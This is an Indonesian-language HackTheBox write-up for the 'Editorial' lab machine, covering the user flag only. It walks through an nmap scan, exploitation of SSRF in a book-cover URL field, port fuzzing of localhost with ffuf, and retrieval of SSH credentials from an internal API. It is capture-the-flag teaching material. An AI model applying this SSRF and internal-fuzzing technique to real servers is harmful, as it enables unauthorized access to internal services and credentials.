- Published on
HACKTHEBOX - Editorial WriteUp - User Only
- Authors

- Name
- Alvin Dhiyaul H

Reconnaissance
Seperti biasa saya akan melakukan port scanning untuk mengetahui port apa saja yang terbuka menggunakan tools nmap
❯ nmap -sC -sV -p80,22 10.10.11.20
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-05 00:08 WIB
Nmap scan report for editorial.htb (10.10.11.20)
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Editorial Tiempo Arriba
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.83 seconds
Dan terdapat informasi bahwasanya terdapat port 80 (http),mari kita coba menggunakan browser untuk mengakses nya.
Sebelum mengaksesnya melalui browser kita perlu menambahkan domain pada file /etc/hosts, gunakan bash command seperti dibawah untuk menambahkan nya
sudo echo "10.10.11.20 editorial.htb" | sudo tee -a /etc/hosts
Kemudian kita dapat mengakses web apps nya seperti di bawah ini:

USER FLAG
Saya melihat sebuah fitur yang menarik, yaitu Book information yang dimana kita dapat menambahkan cover buku yang akan kita publish dengan langsung menginputkan URL dari cover buku tersebut.

Kemudian saya mencoba untuk melakukan pengujian SSRF (Server Side Requests Forgery) pada fitur tersebut dengan cara meng-intercept requests melalui Burp Suite seperti gambar di bawah ini:

Pada gambar diatas ketika saya mencoba melakukan requests ke localhost server, response memberikan kita sebuah status code 200 OK dan memberikan sebuah endpoint gambar dengan extension .jpeg, lalu saya akan mencoba melakukan Fuzzing untuk menemukan port scanning yang terbuka dan hanya bisa kita akses melalui ip internal/localhost menggunakan tool Ffuf.
NOTE
Sebenarnya kita bisa melakukan fuzzing menggunakan intruder sebuah fitur yang ada di burb suite, tetapi akan memakan waktu yang lama karena saya menggunakan BurpSuite CE
Sebelumnya saya telah membuat wordlist port dari 1-10000 menggunakan bash scripting seperti di bawah ini:
#!/bin/bash
# Loop dari 1 hingga 10000 dan simpan di file wordport.txt
for i in {1..10000}
do
echo $i >> wordport.txt
done
Kemudian simpan requests BurpSuite untuk kita lakukan POST data fuzzing menggunakan Ffuf.
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 302
Accept-Language: id-ID,id;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGiGzcMnyX2gVWlHY
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryGiGzcMnyX2gVWlHY
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
------WebKitFormBoundaryGiGzcMnyX2gVWlHY
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryGiGzcMnyX2gVWlHY--
Dan kemudian saya menyimpan requests pada file requests.txt, lalu melakukan fuzzing menggunakan ffuf.
❯ ffuf -u http://editorial.htb/upload-cover -X POST -request /Users/alvin/Documents/HACKTHEBOX/Easy/Editorial/requests.txt -w wordport.txt
Tetapi akan banyak sekali response dengan Status:200 dan Size:61 sehingga perlu dilakukan filtering dengan menambahkan arguments -fs 61.
❯ ffuf -u http://editorial.htb/upload-cover -X POST -request /Users/alvin/Documents/HACKTHEBOX/Easy/Editorial/requests.txt -w wordport.txt -fs 61
Sehingga muncul response valid seperti di bawah ini sama muncul Status:200 akan tetapi Size nya berbeda yaitu Size:51 seperti dibawah ini.
❯ ffuf -u http://editorial.htb/upload-cover -X POST -request /Users/alvin/Documents/HACKTHEBOX/Easy/Editorial/requests.txt -w wordport.txt -fs 61
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /Users/alvin/Documents/HACKTHEBOX/Easy/Editorial/wordport.txt
:: Header : Origin: http://editorial.htb
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Host: editorial.htb
:: Header : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
:: Header : Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGiGzcMnyX2gVWlHY
:: Header : Accept: */*
:: Header : Referer: http://editorial.htb/upload
:: Header : Connection: keep-alive
:: Header : Accept-Language: id-ID,id;q=0.9
:: Data : ------WebKitFormBoundaryGiGzcMnyX2gVWlHY
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
------WebKitFormBoundaryGiGzcMnyX2gVWlHY
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundaryGiGzcMnyX2gVWlHY--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 61
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 316ms]
:: Progress: [10000/10000] :: Job [1/1] :: 127 req/sec :: Duration: [0:01:23] :: Errors: 1 ::
Yang berarti kita telah berhasil menemukan port yang terbuka yaitu port 5000 Lalu kita coba akses port 5000 melalui requests BurpSuite yang sebelumnya.

Dapat kita lihat response diatas bahwasanya menampilkan Status 200 OK yang berarti kita telah berhasil melakukan requests exploitasi SSRF (Server Side Requests Forgery) ke server.
Dan server juga memberikan kita sebuah endpoint file static/uploads/24c063dc-3294-4d68-b5e4-82ce5469bd38 yang terdapat pada server.
Pertama yang saya lakukan adalah mencoba melakukan requests pada fitur Book Information dengan menginputkan URL berikut.
http://127.0.0.1/static/uploads/24c063dc-3294-4d68-b5e4-82ce5469bd38

Lalu cek history BurpSuite yang terdapat endpoint diatas kemudian liat hasil nya.

Kemudian saya menemukan sebuah endpoint yang menarik dari hasil requests ssrf tersebut yaitu /api/latest/metadata/messages/authors, lalu saya mencoba mengaksesnya dengan seperti yang sebelumnya yaitu SSRF (Server Side Requests Forgery) ke ip internal/localhost server pada fitur Book information.

Kemudian saya mendapatkan sebuah kridensial ssh,setelah saya mengecek history BurpSuite seperti di bawah ini.

Pada response di di BurpSuite Terdapat sebuah username & password untuk mengakses SSH pada server.
Dan mari kita akses SSH tersebut untuk mendapatkan flag User.
❯ ssh dev@editorial.htb
dev@editorial.htb's password:
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-112-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Sat Oct 5 10:23:06 AM UTC 2024
System load: 0.96
Usage of /: 61.3% of 6.35GB
Memory usage: 19%
Swap usage: 0%
Processes: 228
Users logged in: 0
IPv4 address for eth0: 10.10.11.20
IPv6 address for eth0: dead:beef::250:56ff:fe94:d3b3
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Sat Oct 5 09:20:17 2024 from 10.10.14.33
dev@editorial:~$ ls
apps user.txt
dev@editorial:~$
Dan kita telah berhasil mendapatkan akses ke user untuk server editorial ini, dan dapat dilihat juga terdapat Flag user.txt